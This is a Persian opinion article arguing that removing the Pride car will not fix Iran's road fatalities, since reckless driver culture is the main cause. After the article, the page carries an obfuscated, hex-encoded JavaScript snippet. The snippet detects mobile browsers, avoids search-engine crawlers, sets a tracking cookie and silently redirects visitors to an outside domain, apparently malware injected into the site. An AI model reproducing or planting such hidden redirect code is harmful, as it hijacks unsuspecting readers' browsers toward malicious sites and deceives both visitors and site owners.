اخیرا قائم‌مقام وزیر بهداشت در امور دانشگاه‌ها، با بیان اینکه ۱۶ درصد تلفات جاده‌ای در سال ۱۳۹۳ مربوط به کودکان است، تصریح کرد، نباید به خودروهای ناایمن مانند پراید مجوز ورود به جاده را داد. هدف نگارنده در این فرصت نقد یا تایید صحبت ایشان نیست بلکه بیان این موضوع است که متاسفانه در کشور ما با مسائل بصورت صفر و یکی برخورد می شود. ریشه مشکل اصلاح نشده و سعی در حذف ظواهر مشکل داریم.
در همه نقاط دنیا بویژه در کشور های توسعه یافته خودروهای مختلف با ویژگی‌ها و عملکردهای گوناگون و البته قیمت‌های متفاوت تولید و عرضه می شوند و این مصرف کنندگان هستند که خود تصمیم می‌گیرند چه خودرویی را انتخاب و خریداری کنند.
انتخاب خودرو معمولا بر اساس مواردی همچون قیمت، خدمات بعد از فروش، برند و نوع کاربری انجام می‌شوند.
به عنوان مثال در کشور آمریکا خودروی شاسی بلند تویوتا لندکروزر،کمری و پریوس هر سه عرضه می شوند. حال فرض کنید این خودروها با یک کامیون تصادف کنند مسلما آسیب وارد شده به لندکروزر بسیار کمتر از پریوس خواهد بود؛ این یک اصل کلی است. در کشور های توسعه یافته برای هر کاری وسیله و ابزار مخصوص به آن مورد استفاده قرار میگیرد، مثلا در سفرهای طولانی (بیش از 300 کیلومتر) از وسیله نقلیه مناسب مثل قطار و هواپیما استفاده میشود.
طبیعتا راننده ای که معمولا تردد شهری دارد پریوس را انتخاب می کند،
و شهروندی که معمولا مسافت های طولانی بین شهری را طی میکند کمری را انتخاب خواهد کرد.
اما متاسفانه در کشور ما به علل مختلف ازمسائل فرهنگی، جامعه شناختی و اقتصادی گرفته تا تحریمها و فشارهای بین المللی این مهم مورد غفلت واقع شده، بطوریکه هموطنان ما مسیرهای بسیار طولانی و خسته کننده را در جاده‌های غیر استاندارد و خودروهای مشکل دار و بدون رعایت قوانین و مقررات راهنمایی و رانندگی طی کرده وجان خود و دیگران را به خطر می اندازند. همه ما خودرو های شاسی بلند امروزی را دیده‌ایم که حتی چرخهایشان مسیرهای خاکی را لمس نکرده اند. این تب چشم و هم چشمی ناشی از فرهنگ است نه وسیه نقلیه.
به گفته مسئولین محترم راهنمایی و رانندگی، بیشترین عامل موثر در تصادفات عامل انسانی(راننده با 54 درصد) بوده و در این میان سرعت زیاد و عجله بیشترین سهم را در بروز تصادفات دارد.
و اما به نظر می رسد همیشه آسانترین راه بهترین راه است. حذف پراید اگر چه اتفاق خوبیست اما موجب تغییر فرهنگ و رفتار رانندگان نخواهد شد چرا که برای یک راننده بی توجه، سوار بودن بر پراید یا مرسدس بنز یکی است. او با بنز هم تصادف خواهد کرد. خب بنز هم جان دیگران را به خطر خواهد انداخت با این تفاوت که شاید در این اتفاقات زنده بماند!
در پایان و بر اساس رویه کنونی فرهنگی جامعه، تنها وسیله نقلیه ایمن تانک خواهد بود!
نظر شما چیست؟
var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}
